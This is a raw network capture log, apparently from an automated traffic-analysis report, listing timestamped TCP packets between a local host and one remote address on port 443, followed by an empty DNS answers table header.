Oct 8, 2024 03:24:46.899009943 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.902554989 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.902635098 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.902762890 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.902967930 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.902987003 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.911319017 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.911372900 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.911653042 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.911688089 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.911699057 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.911709070 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.911714077 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.914853096 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.914884090 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:46.914984941 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.915153027 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:46.915165901 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.095640898 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.096343994 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.096370935 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.096707106 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.096715927 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.159061909 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.160670996 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.160685062 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.161142111 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.161148071 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.202414036 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.203103065 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.203171968 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.203265905 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.203267097 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.203320026 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.203347921 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.205722094 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.205770016 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.205879927 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.206058025 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.206070900 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.260948896 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.261292934 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.261353970 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.261382103 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.261392117 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.261404037 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.261408091 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.263942957 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.263962984 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.264020920 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.264125109 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.264134884 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.413574934 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.413990974 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.414010048 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.414496899 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.414500952 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.514830112 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.514889956 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.515033960 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.515037060 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.515089989 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.515178919 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.515191078 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.515202045 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.515206099 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.517574072 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.517601967 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.517673969 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.517797947 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.517810106 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.589874029 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.590554953 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.590568066 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.590836048 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.590840101 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.591590881 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.592086077 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.592116117 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.592312098 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.592319012 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.693321943 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.693355083 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.693413973 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.693540096 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.693540096 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.693661928 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.693679094 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.693698883 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.693703890 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.696784019 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.696815968 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.696882963 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.697083950 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.697096109 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.700687885 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.700710058 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.700725079 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.700766087 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.700782061 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.700798988 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.700834036 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.784518957 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.784574986 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.784600973 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.784626007 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.784656048 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.784672022 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.784683943 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.784691095 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.787889004 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.787985086 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.788059950 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.788258076 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.788291931 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.868685007 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.869210958 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.869246006 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.869633913 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.869638920 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.947628975 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.948234081 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.948250055 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.948833942 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.948837996 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.968600035 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.968621969 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.968674898 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.968827009 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.968827009 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.969068050 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.969068050 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.969084978 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.969093084 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.972332001 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.972439051 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:47.972543001 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.972717047 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:47.972753048 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.049107075 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.049128056 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.049141884 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.049221992 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.049242973 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.049252987 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.049288988 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.133847952 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.133891106 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.133936882 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.133958101 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.134025097 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.134207010 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.134216070 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.134242058 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.134247065 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.136373043 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.136420012 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.136480093 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.136621952 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.136636019 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.184238911 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.184931993 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.184943914 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.185534954 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.185539007 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.287655115 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.287723064 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.287856102 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.287867069 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.287959099 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.288355112 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.288357973 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.288381100 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.288383007 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.288525105 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.291501045 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.291538000 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.291629076 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.291774988 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.291785002 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.368552923 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.369067907 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.369101048 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.369987965 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.369999886 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.464413881 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.464871883 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.464901924 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.465344906 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.465349913 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.473491907 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.473525047 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.473570108 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.473592997 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.473611116 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.473648071 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.473732948 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.473748922 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.473757029 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.473762989 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.476442099 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.476488113 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.476547003 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.476672888 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.476686001 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.593013048 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.593159914 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.593235016 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.593353033 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.593379974 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.593390942 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.593395948 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.595957994 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.596029997 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.596128941 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.596272945 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.596291065 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.641556025 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.642121077 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.642159939 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.642570972 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.642577887 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.758721113 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.758785009 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.758881092 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.759078026 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.759102106 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.761861086 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.761898041 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.761984110 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.762145996 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.762159109 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.834441900 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.834904909 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.834918022 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.835371017 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.835375071 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.937657118 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.937715054 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.937758923 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.938101053 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.938117027 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.938152075 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.938158035 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.940606117 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.940646887 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.940732002 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.940896034 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.940911055 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.977858067 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.978354931 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.978379965 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:48.978820086 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:48.978825092 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.093494892 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.093758106 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.093847036 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.093892097 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.093905926 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.093926907 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.093930960 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.096514940 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.096568108 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.096646070 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.096807957 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.096822977 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.148166895 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.148860931 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.148905039 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.149348974 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.149358034 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.253209114 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.253309011 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.253379107 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.253411055 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.253434896 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.253482103 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.253534079 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.253554106 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.253562927 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.253568888 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.289094925 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.289536953 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.289560080 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.290002108 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.290008068 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.389571905 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.389724016 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.389800072 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.390044928 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.390044928 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.390095949 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.390125990 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.448750973 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.455746889 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.455779076 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.456485987 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.456492901 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.557344913 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.558043957 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.558156013 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.581579924 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.616525888 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.616559982 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.616575003 CEST	49971	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.616583109 CEST	443	49971	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.634159088 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.710201979 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.710226059 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.710700989 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.710711002 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.749286890 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.750240088 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.750260115 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.750766993 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.750772953 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.822649002 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.822727919 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.822808027 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.824598074 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.824611902 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.824620962 CEST	49972	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.824625969 CEST	443	49972	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.853059053 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.853158951 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.853269100 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.856245041 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.856245041 CEST	49973	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:49.856280088 CEST	443	49973	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:49.856295109 CEST	443	49973	13.107.246.60	192.168.2.10

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
